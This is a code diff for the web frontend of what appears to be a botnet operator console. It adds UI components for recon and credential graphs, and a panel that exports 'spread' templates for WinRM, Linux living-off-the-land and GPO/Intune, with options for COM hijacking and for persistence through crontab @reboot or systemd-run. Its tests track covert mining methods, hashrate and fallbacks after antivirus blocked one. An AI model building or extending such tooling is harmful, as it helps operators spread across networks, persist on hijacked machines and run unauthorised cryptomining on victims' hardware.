expect(screen.getByText('3')).toBeInTheDocument();
});
it('CredentialGraphTable shows unavailable message on 404', async () => {
vi.mocked(api.getCredentialGraph).mockResolvedValue(null);
render(<CredentialGraphTable />);
await waitFor(() => {
expect(screen.getByText(/not available yet/i)).toBeInTheDocument();
});
});
});

View File

@@ -0,0 +1,108 @@
/* Fleet recon badges — mirrors LOTL chip tokens */
.risk-badge,
.cn-risk,
.join-lane-badge,
.war-room-join-lane-badge {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.cn-risk {
align-self: flex-start;
}
.risk-badge--critical,
.cn-risk.risk-critical {
color: #ff4466;
background: rgba(255, 50, 80, 0.14);
border: 1px solid rgba(255, 68, 102, 0.4);
}
.risk-badge--high,
.cn-risk.risk-high {
color: #ff8866;
background: rgba(255, 120, 40, 0.12);
border: 1px solid rgba(255, 136, 68, 0.35);
}
.risk-badge--medium,
.cn-risk.risk-medium {
color: var(--neon-amber, #ffb347);
background: rgba(255, 180, 60, 0.1);
border: 1px solid rgba(255, 180, 60, 0.3);
}
.risk-badge--low,
.cn-risk.risk-low {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.06);
border: 1px solid rgba(255, 255, 255, 0.12);
}
.join-lane-badge,
.war-room-join-lane-badge {
color: var(--neon-violet, #b388ff);
background: rgba(160, 100, 255, 0.12);
border: 1px solid rgba(160, 100, 255, 0.28);
}
.recon-graph-table {
width: 100%;
border-collapse: collapse;
font-family: var(--font-tech);
font-size: 0.74rem;
}
.recon-graph-table th,
.recon-graph-table td {
padding: 0.35rem 0.5rem;
text-align: left;
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
}
.recon-graph-table th {
color: var(--neon-cyan);
font-weight: 600;
letter-spacing: 0.08em;
font-size: 0.68rem;
}
.recon-graph-empty {
font-size: 0.72rem;
color: var(--text-muted);
margin: 0.25rem 0;
}
.recon-service-summary {
font-family: var(--font-tech);
font-size: 0.74rem;
}
.recon-service-list {
list-style: none;
margin: 0.35rem 0 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.recon-service-item {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
align-items: center;
}
.recon-service-name {
color: var(--neon-cyan);
}
.recon-service-meta {
color: var(--text-muted);
font-size: 0.68rem;
}

View File

@@ -0,0 +1,25 @@
import { riskFromVulnFindings } from '../../help/reconRisk';
import type { VulnFinding } from '../../types/recon';
import './ReconVisuals.css';
interface Props {
findings?: VulnFinding[];
variant?: 'card' | 'inline';
className?: string;
}
export default function RiskBadge({ findings, variant = 'card', className = '' }: Props) {
const info = riskFromVulnFindings(findings);
if (!info) return null;
const base = variant === 'card' ? 'cn-risk' : 'risk-badge';
return (
<span
className={`${base} risk-badge--${info.level} risk-${info.level} ${className}`.trim()}
title={info.title}
>
{info.label}
</span>
);
}

View File

@@ -0,0 +1,118 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import { ipToSubnet } from '../../help/reconRisk';
import type { ServiceGraphNode } from '../../types/recon';
import JoinLaneBadge from './JoinLaneBadge';
import './ReconVisuals.css';
interface Props {
agentId?: string;
agentIp?: string;
}
export default function ServiceGraphSummary({ agentId, agentIp }: Props) {
const subnet = ipToSubnet(agentIp);
const [services, setServices] = useState<ServiceGraphNode[] | null>(null);
const [loading, setLoading] = useState(false);
const [unavailable, setUnavailable] = useState(false);
useEffect(() => {
if (!agentId && !subnet) {
setServices(null);
setUnavailable(false);
return;
}
let cancelled = false;
setLoading(true);
void api
.getServiceGraph({ agentId, subnet })
.then((data) => {
if (cancelled) return;
if (!data) {
setUnavailable(true);
setServices([]);
return;
}
setServices(data.services ?? []);
setUnavailable(false);
})
.catch(() => {
if (!cancelled) {
setUnavailable(true);
setServices([]);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => {
cancelled = true;
};
}, [agentId, subnet]);
if (!agentId && !subnet) {
return (
<p className="recon-graph-empty">
Select one agent to view service graph for its subnet.
</p>
);
}
if (loading) {
return <p className="recon-graph-empty">Loading service graph</p>;
}
if (unavailable) {
return (
<p className="recon-graph-empty">
Service graph API not available run discover_and_join or service probe on this host.
</p>
);
}
if (!services?.length) {
return (
<p className="recon-graph-empty">
No enumerated services for {subnet || 'selected host'}.
</p>
);
}
const lanes = new Set(
services.map((s) => s.join_lane_candidate?.trim()).filter(Boolean) as string[],
);
return (
<div className="recon-service-summary">
<div className="recon-service-meta">
{subnet ? <span>{subnet}</span> : null}
{agentId ? <span>{subnet ? ' · ' : ''}{agentId.slice(0, 8)}</span> : null}
<span> · {services.length} service(s)</span>
</div>
{lanes.size > 0 ? (
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.35rem' }}>
{[...lanes].map((lane) => (
<JoinLaneBadge key={lane} lane={lane} />
))}
</div>
) : null}
<ul className="recon-service-list">
{services.slice(0, 12).map((s, i) => (
<li key={`${s.service_name}-${i}`} className="recon-service-item">
<span className="recon-service-name">{s.service_name}</span>
{s.port ? <span className="recon-service-meta">:{s.port}</span> : null}
{s.status ? <span className="recon-service-meta">{s.status}</span> : null}
{s.join_lane_candidate ? (
<JoinLaneBadge lane={s.join_lane_candidate} />
) : null}
</li>
))}
</ul>
{services.length > 12 ? (
<p className="recon-graph-empty">+{services.length - 12} more</p>
) : null}
</div>
);
}

View File

@@ -0,0 +1,96 @@
import { useState } from 'react';
import { api } from '../../api/client';
import { SPREAD_TEMPLATES, spreadTemplateZipName, type SpreadTemplateId } from '../../help/spreadTemplateExport';
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
export interface SpreadTemplateExportPanelProps {
serverBase: string;
buildId?: string;
campaign?: string;
}
export default function SpreadTemplateExportPanel({
serverBase,
buildId = '',
campaign = '',
}: SpreadTemplateExportPanelProps) {
const [template, setTemplate] = useState<SpreadTemplateId>('winrm');
const [comHijack, setComHijack] = useState(false);
const [lotlMode, setLotlMode] = useState('systemd_run_user');
const [busy, setBusy] = useState(false);
const [err, setErr] = useState('');
const meta = SPREAD_TEMPLATES.find((t) => t.id === template);
const onExport = async () => {
setErr('');
setBusy(true);
try {
await api.exportSpreadTemplate({
template,
server_url: serverBase,
build_id: buildId.trim(),
campaign: campaign.trim(),
com_hijack: comHijack,
lotl_mode: lotlMode,
});
} catch (e) {
setErr(e instanceof Error ? e.message : String(e));
} finally {
setBusy(false);
}
};
return (
<div className="crucible-spread-templates" style={{ marginTop: '0.75rem' }}>
<p className="crucible-seek-blurb" style={{ marginBottom: '0.5rem' }}>
Export spread templates (WinRM, Linux LOTL, GPO/Intune). Mining policy stays on the command deck.
{meta ? (
<>
{' '}
<a href={spreadTechniqueDocUrl(meta.docAnchor)} target="_blank" rel="noreferrer">
Playbook
</a>
</>
) : null}
</p>
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', alignItems: 'center' }}>
<select
className="crucible-inline-input"
value={template}
onChange={(e) => setTemplate(e.target.value as SpreadTemplateId)}
aria-label="Spread template"
>
{SPREAD_TEMPLATES.map((t) => (
<option key={t.id} value={t.id}>
{t.label}
</option>
))}
</select>
{template === 'winrm' ? (
<label style={{ display: 'inline-flex', alignItems: 'center', gap: '0.35rem', fontSize: '0.85rem' }}>
<input type="checkbox" checked={comHijack} onChange={(e) => setComHijack(e.target.checked)} />
COM hijack (owned only)
</label>
) : null}
{template === 'linux-lotl' ? (
<select
className="crucible-inline-input"
value={lotlMode}
onChange={(e) => setLotlMode(e.target.value)}
aria-label="LOTL persistence"
>
<option value="systemd_run_user">systemd-run --user</option>
<option value="crontab">crontab @reboot</option>
<option value="both">both</option>
<option value="off">run once only</option>
</select>
) : null}
<button type="button" className="button crucible-op-btn" disabled={busy || !serverBase.trim()} onClick={() => void onExport()}>
{busy ? 'Exporting…' : `Export ${spreadTemplateZipName(template)}`}
</button>
</div>
{err ? <p className="form-error" style={{ marginTop: '0.35rem' }}>{err}</p> : null}
</div>
);
}

View File

@@ -32,7 +32,6 @@ function operatorDeckId(pathname: string): string {
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
if (path.startsWith('/crucible')) return 'crucible';
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
if (path.startsWith('/agents')) return 'fleet';
if (path.startsWith('/builds')) return 'builds';
if (path.startsWith('/settings')) return 'settings';
if (path.startsWith('/pathtracer')) return 'pathtracer';
@@ -41,7 +40,6 @@ function operatorDeckId(pathname: string): string {
const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
@@ -53,7 +51,7 @@ const NAV = [
const DOCS_HREF = '/docs/';
/** Primary tabs on mobile bottom bar — Deck, Fleet, Crucible, Path Tracer, Forge */
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
const MOBILE_PRIMARY = NAV.slice(0, 5);
/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
const MOBILE_MORE = NAV.slice(5);
@@ -257,7 +255,6 @@ export default function Layout({ children }: LayoutProps) {
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
'/agents': 'Fleet',
'/crucible': 'Ops',
'/pathtracer': 'Tracer',
'/forge': 'Forge',

View File

@@ -27,6 +27,8 @@ function LaserPulse({ start, end, color }: { start: [number, number, number], en
}
const STALE_THRESHOLD_MS = 5 * 60 * 1000;
/** Cap 3D nodes to keep WebGL performant on large fleets. */
const TOPOLOGY_NODE_CAP = 200;
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
const isOnline = agent.status === 'online';
@@ -82,9 +84,16 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
const serverPos: [number, number, number] = [0, 0, 0];
const displayAgents = useMemo(() => {
if (agents.length <= TOPOLOGY_NODE_CAP) return agents;
const online = agents.filter((a) => a.status === 'online');
const pool = online.length >= TOPOLOGY_NODE_CAP ? online : agents;
return pool.slice(0, TOPOLOGY_NODE_CAP);
}, [agents]);
const capped = agents.length > TOPOLOGY_NODE_CAP;
const agentNodes = useMemo(() => {
return agents.map((agent, i) => {
return displayAgents.map((agent, i) => {
const goldenRatio = (1 + Math.sqrt(5)) / 2;
const angle = i * Math.PI * 2 * goldenRatio;
// Distribute in a spherical/cylindrical rough cluster
@@ -94,13 +103,14 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
const y = (Math.random() - 0.5) * 6;
return { agent, position: [x, y, z] as [number, number, number] };
});
}, [agents]);
}, [displayAgents]);
return (
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
3D_MESH_TOPOLOGY // {agents.filter(a => a.status === 'online').length} NODES LINKED
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
{capped && ` (showing ${TOPOLOGY_NODE_CAP}/${agents.length})`}
</div>
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
<color attach="background" args={['#050508']} />

View File

@@ -1,5 +1,5 @@
import { useEffect, useState, type CSSProperties } from 'react';
import type { WarRoomCampaign } from '../../types';
import type { Agent, WarRoomCampaign } from '../../types';
import {
detectFunnelLeaks,
formatHashrate,
@@ -9,6 +9,8 @@ import {
sparklineMax,
staggerDelayMs,
} from '../../help/warRoom';
import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry';
import JoinLaneBadge from '../Fleet/JoinLaneBadge';
import WarRoomOdometer from './WarRoomOdometer';
interface WarRoomFunnelBoardProps {
@@ -16,9 +18,18 @@ interface WarRoomFunnelBoardProps {
days: number;
refreshKey?: string;
highlightCampaign?: string | null;
campaignAgents?: Record<string, Agent[]>;
maxLiveHashrate?: number;
}
export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highlightCampaign }: WarRoomFunnelBoardProps) {
export default function WarRoomFunnelBoard({
campaigns,
days,
refreshKey,
highlightCampaign,
campaignAgents = {},
maxLiveHashrate = 0,
}: WarRoomFunnelBoardProps) {
const [alive, setAlive] = useState(false);
useEffect(() => {
@@ -39,14 +50,24 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
const primaryLeak = leaks[0];
const max = sparklineMax(c.daily_hits);
const hits = c.hits ?? 0;
const heat = hashHeatIntensity(c.hashrate ?? 0, maxLiveHashrate || c.hashrate || 0);
const agents = campaignAgents[c.campaign] ?? [];
const onlineAgents = agents.filter((a) => a.status === 'online');
return (
<article
key={c.campaign}
id={`war-room-campaign-${c.campaign}`}
className={`war-room-funnel-card${highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''}`}
className={`war-room-funnel-card${
highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''
}${heat > 0 ? ' war-room-funnel-card--heat' : ''}`}
role="listitem"
style={{ '--card-stagger': `${cardIndex * 0.12}s` } as CSSProperties}
style={
{
'--card-stagger': `${cardIndex * 0.12}s`,
'--hash-heat': heat,
} as CSSProperties
}
>
<header className="war-room-funnel-card-head">
<div>
@@ -77,6 +98,23 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
</div>
</header>
{onlineAgents.length > 0 ? (
<div className="war-room-agent-tags" aria-label="Live campaign agents">
{onlineAgents.slice(0, 8).map((a) => {
const tier = lotlTierLabel(a.lotl_tier);
return (
<span key={a.id} className="war-room-agent-tag" title={a.name}>
<span className="war-room-agent-tag-name">{a.name}</span>
{tier ? <span className="war-room-lotl-badge">{tier}</span> : null}
{a.join_lane ? (
<JoinLaneBadge lane={a.join_lane} className="war-room-join-lane-badge" />
) : null}
</span>
);
})}
</div>
) : null}
<div className="war-room-funnel-pipeline" aria-label="Campaign funnel">
{stages.map((stage, idx) => (
<div key={stage.id} className="war-room-funnel-stage">

View File

@@ -456,6 +456,46 @@ describe('AgentRemoteActions', () => {
});
expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
});
it('shows LOTL tier badge in target header when lotl_tier is set', async () => {
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions
agent={mockAgent({ id: 'lotl-1', name: 'Tier Node', status: 'online', lotl_tier: 'container' })}
online
/>
</MemoryRouter>,
);
await waitFor(() => {
expect(screen.getByText('LOTL Container')).toBeInTheDocument();
});
});
it('shows mining method in live stats when active_method is set', async () => {
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions
agent={mockAgent({
id: 'mine-1',
name: 'Miner Node',
status: 'online',
hashrate_15s: 500,
cpu_usage_pct: 40,
memory_usage_pct: 30,
active_method: 'inprocess',
stratum_overlay: true,
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
})}
online
showLiveStats
/>
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByText(/Mining inprocess\+stratum/i)).toBeInTheDocument();
});
expect(screen.getByText(/Fallback container failed/i)).toBeInTheDocument();
});
});
describe('AgentListItem', () => {
@@ -881,6 +921,6 @@ describe('Layout', () => {
expect(screen.getByText('page body')).toBeInTheDocument();
});
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
});
});